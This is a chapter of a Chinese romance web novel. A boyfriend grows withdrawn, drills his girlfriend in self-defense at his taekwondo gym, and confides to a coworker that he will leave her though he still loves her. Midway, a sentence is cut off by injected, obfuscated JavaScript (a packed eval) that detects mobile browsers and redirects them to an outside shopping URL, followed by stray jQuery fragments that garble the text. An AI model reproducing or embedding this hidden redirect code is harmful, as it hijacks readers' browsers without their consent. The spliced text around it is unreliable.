46. 第 46 章

作品:《答应我要开心

    那天之后,日子依旧平静地过着。


    所有人都满心期待着暑假,当然这其中也包含叶清礼,她常常揽着萧屿胳膊问他暑假有什么打算,想没想好他们暑假去哪里玩,或者是去她家也可以,和家人待在一起哪怕什么也不做也是一种幸福。


    而她说这些的时候萧屿总是静静地盯着某一处失神,像是抽干了内在,只剩下一具驱壳在那里摇摇欲坠。


    他变得不太正常,没有以前那么爱逗她了,也不是很爱笑,叶清礼眨了眨眼,晃了晃两人牵着的手,仰头看他:“萧屿,你怎么了?是发生什么事了吗?”


    “还是说……我妈那天为难你了?”


    他好像就是从那天开始变得不太对劲的。


    被她这么一提醒他才察觉到自己表现的太明显了,萧屿扯了扯发僵的嘴角,摇头:“没有,估计是那天骑车冻着了,这几天有点头疼。”


    “你身体不舒服怎么都不跟我说?”


    叶清礼看了他一会儿,其实心里是有一点小小的不愿意的,挣扎了半晌,她叹了口气,又问:“那你吃药了吗?”


    “吃了。”他垂了眼,回应道。


    “要是还是哪里不舒服记得和我说,我陪你去医院。”


    “好。”


    按照以往,叶清礼送萧屿到道馆门口就该回去了,有时候会去跟徐砚她们逛街,也有时候会去萧屿家待着,不管怎样,她像往常一样抬手,跟他说再见。


    萧屿插着兜,没动,视线还停留在她身上。叶清礼被他盯的不自在,抬手摸了摸自己的脸:“嗯……你还不进去吗?”她提醒:“再不进去就要迟到了。”


    “你想学跆拳道么?”他还是那个姿势。


    “啊?”叶清礼一时没反应过来。


    萧屿又重复了一遍。


    叶清礼顿了顿:“还是算了吧,这不是小孩子学的吗?”


    萧屿像是听见了什么笑话,一个没忍住,笑了:“你以为你多大?”


    “……”


    “这玩意儿多大都有学的,跟年龄没关系。”萧屿解释说。


    叶清礼没去过这种地方,但她内心是憧憬的,她想和他待在一起。想到这些,她眼睫颤了颤,浅淡的瞳孔泛起好奇的光:“那……学费多少钱?”


    萧屿皱了下眉:“我是教练。”


    “你是教练又怎么了?”


    “我是教练我说了算。”


    “……”还挺硬气。


    陆陆续续有家长送孩子过来上课,绕过萧屿时总会叫一声“萧老师”,叶清礼看着他们进屋,她踢了下脚边的石子,无声地摇摇头:“还是算了吧,我这么大人了还和小孩子一起训练,看上去好丢人。”


    一脸窘迫,想去又不敢去的样儿,哪还有那天在台上主持大放光彩的样子?萧屿看不惯她这出,伸手抓着她的,转身推开了玻璃门。


    “欸……你干嘛……”


    叶清礼踉跄两步跟上,许诺正坐在前台玩手机,闻声抬眸,撞上叶清礼的眼,后又望向两人牵着的手,瞬间反应过来她的身份。


    叶清礼尴尬地对她笑笑:“你好……”


    “你好。”许诺走过来,主动和叶清礼握手,难怪旁边这哥总想着请假呢,她以前还觉得帅哥的心都不诚,今天算是理解了,她要是处到这么好看的女朋友她也不想上班。


    她转头看向萧屿:“怎么?现在这么难舍难分,上班都要带着女朋友了?”


    不知怎么,明明许诺问的是萧屿,叶清礼却慌忙垂下头,不自在地红了脸。


    萧屿看她一眼,对这个问题闭口不答,对许诺说:“给我拿套新道服,她能穿的。”


    “啊?她也要学啊?”


    “嗯。”


    “跟那些小孩儿一起上课吗?”


    “不了,她我单独教。”


    此话一出,除了他以外的两人皆是一愣。


    许诺微微皱眉:“什么意思?孩子们你不教啦?”


    “他们不是有你么?”萧屿又说了遍让她拿套新道服给他,然后就拉着叶清礼去了另外一间小教室。


    路过许诺时,他的手落在她的肩上,很轻地拍了拍。


    像是有什么事要告诉她。


    许诺见状也不再追问,看着叶清礼的背影,转头去拿了套还未拆封的道服给他们送过去。


    叶清礼换好衣服,从更衣室出来的时候正好碰上萧屿,他的衣服和她的不一样,是黑色的,转过身去,背后写着“教练”两个字,看上去严肃又庄重。


    她跟在他身后进了教室,看着这两个字莫名有种压迫感。


    是因为感冒吗?还是因为职业操守?从进门到现在,他脸上一个笑容都没有。


    对那些小孩子他也是这样的态度吗?会不会把他们吓哭?


    正想着,萧屿突然转过身来,抓起她一侧手臂,叶清礼还没来得及反应,感觉到自己脚下一空,伴随着一声惊呼,下一秒她已经摔在了垫子上。


    叶清礼甚至都没看清楚他是怎么把自己摔过来的,只觉得脑袋一阵眩晕,她身下是软乎乎的垫子,她实在想象不到如果这是水泥地,她现在又是什么样。


    而且她感觉到萧屿好像只是轻飘飘的一摔,基本没用什么力。


    “你说你怎么一点防范意识都没有?都躺这了还没反应过来。”


    萧屿居高临下地看着她,神色微动,眸子漆黑,他可能有一点点生气,看上去比一望无际的深渊还可怕。


    叶清礼没想到他会是这个反应,在垫子上骨碌一圈,坐起来,小心翼翼地望着他:“那个……我也没想到你要偷袭我呀,我……”


    “你什么?这是理由?”


    她身子一僵。


    他好像真的有点生气了。


    萧屿把她拽起来,在她纤细的手腕上重重一握,态度实在算不上好:“叶清礼,你知道现在外面都是些什么人吗?这么瘦就算了,你还一点防范心理都没有,我摔你都不需要蓄力,就你这样的你自己在外面哪个能放心你?”


    叶清礼被他训懵了,没反应过来那句“你自己”是什么意思,她嘴巴都是僵的,张了张口,什么也说不出来。


    她突然有点委屈,不是因为他毫无预兆摔她那一下,而是他现在这个语气,她知道萧屿是为了她好,但他以前是不会用这么重的语气跟她讲话的。


    最近怎么这么反常。


    都不像他了。


    萧屿察觉到了,他最见不得她这可怜巴巴的样儿,喉结滚了滚,可他没办法。


    最后还是狠下心没去安慰她。


    他把垫子撤走,没教她那些小孩儿学的东西,没有用,就带她做了个拉伸,然后就开始让她踢靶子,踢沙袋。


    踢沙袋倒是可以,叶清礼想怎么踢就怎么踢,可靶子在萧屿手里拿着,她总是不敢伸腿,就怕一个不准误伤了他。


    萧屿看出来她的顾虑,叹了口气:“你放心踢就行了,你这一脚过来我手都不带动一下的。”


    “……”


    萧屿不是在吹牛,他平时训练多了身体本来就有力气,更何况面对的还是她这种常年不锻炼的,别说脚踢在靶子上了,就是踢在他身上也没事,力度和挠痒没区别。


    快要七月份了,天气也愈发的灼热,但室内空调不能开太凉,出了汗容易感冒,叶清礼踢了一阵就开始扶着窗口喘气,说自己要不行了,嗓子干的特别疼。


    萧屿见状把靶子丢在一边,走过来拿毛巾给她脸上的汗擦了擦,“那你歇会儿吧,我去给你拿瓶水。”


    他丢下一句,出去了。


    叶清礼站在原地静静地望着他的背影,待他转身走远,她像是被抽干了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030366|192475||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    力气,身子发软,终于靠着墙壁下陷,无力地坐下来。


    过了半晌,她抱起膝盖,头倚着墙,鼻间那股涩意直冲心头,眼底这股热意来的太快,令她又不得不把脑袋埋进胳膊里。


    究竟是哪里出了问题。


    她想不明白。


    明明她过生日那天还好好的,怎么突然就变了。


    是新鲜感过了,要分手了吗?


    这一念头迸发出来的时候,叶清礼紧紧抿住唇角,尽量不让自己哭出声音,她不想被人看笑话,也不想让萧屿看见她这个狼狈的样子。


    可是她接受不了这个结局。


    门口贩卖机就有饮料,萧屿给她买了瓶电解质水,回来看见这一幕,他脚步一顿,没进去,捏着手里那瓶水的同时,他咬紧牙关,下颚随着动作扯出了一道冷硬的线条。


    萧屿眼里泛起酸楚,心脏一抽一抽的,像针扎一样疼。


    是我对不起你。


    如果能重来一次,我一定离你远远的。


    都是我不好。


    ……


    萧屿连续带叶清礼来了几周,不止周末,平时没课的时候也来。他们在里面训练的时候许诺就在外面看着,她发现萧屿教的哪里是什么跆拳道,说是防身术还差不多。


    临近七月中旬,叶清礼考完试在宿舍收拾行李,萧屿独自来给孩子们上课,结束时被许诺叫住,问起了这件事。


    孩子们陆续走光了,屋里除了他和许诺没有别人,萧屿坐在那天过来应聘的椅子上,眨了下发木的眼,仰头问许诺:“我能在这儿抽根烟吗?”


    “你还有这么礼貌的时候呢?”这令许诺有些吃惊,随即也坐下来,大手一挥,很慷慨的样子说:“抽吧抽吧,大爷,做自己。”


    萧屿淡淡地笑笑,打火机在他手上“啪”的一声响,他咬着烟,下一秒眯着眼呼出一口浓浓的烟圈。


    许诺知道他有女朋友了,也明白自己不能再对他抱有幻想,可当她看见眼前这一幕时还是慌张地挪开了眼,就连桌下的手指都不自在地蜷缩起来。


    他这人总是不经意间偷偷耍帅,真是够了。


    许诺缓了缓,刚想吐槽,视线再次落到他脸上时,她却感受到了他的不开心。


    那句“你怎么了”还没问出口,萧屿抢先一步开口,看着她说。


    “许诺,我要走了。”


    语气里带着淡淡的惆怅,他的眼里没有光。


    她心弦一颤:“去……去哪儿?”


    “没想好。”萧屿摇摇头,顺着她的话,他好像很认真地想了想,然后给了她一个极其模糊的回答:“反正是去一个没有人认识我的地方,天涯海角,总有我的容身之处。”


    天涯海角。


    他顿了顿,脑海里闪过一道清晰地女声。


    “拐跑就拐跑吧,你只要叫我一声,天涯海角我都跟你走。”


    瞳孔本就漆黑无光,这下又暗淡了许多。许诺坐在他对面,指尖在腿上不安地戳着,顷刻间留下了不少指甲印。


    说实话她挺难受的,尽管他不是她的男朋友。空气凝结了一瞬,她眼里流露出复杂的情绪,连自己都无法形容。


    “和你女朋友一起走吗?”


    萧屿想的太过专注,还是烟烫到手了才拉回飘散的思绪,烟蒂摁灭丢进烟灰缸里,他很轻地摇头:“不了,我们马上就要分手了。”


    看她那口型就知道她想说什么,萧屿制止了她,没让她继续往下说。


    接着,他深吸一口气,透过玻璃门往外看,看明媚的太阳,看棉花糖似的白云,看电线杆上的鸟儿,也看马路上的车流。


    又是一个好天气。


    他却一点也不开心。


    半晌,萧屿眼睫很轻地颤了颤,嘴角扬起一抹很苦涩的笑意。


    “我还爱她。”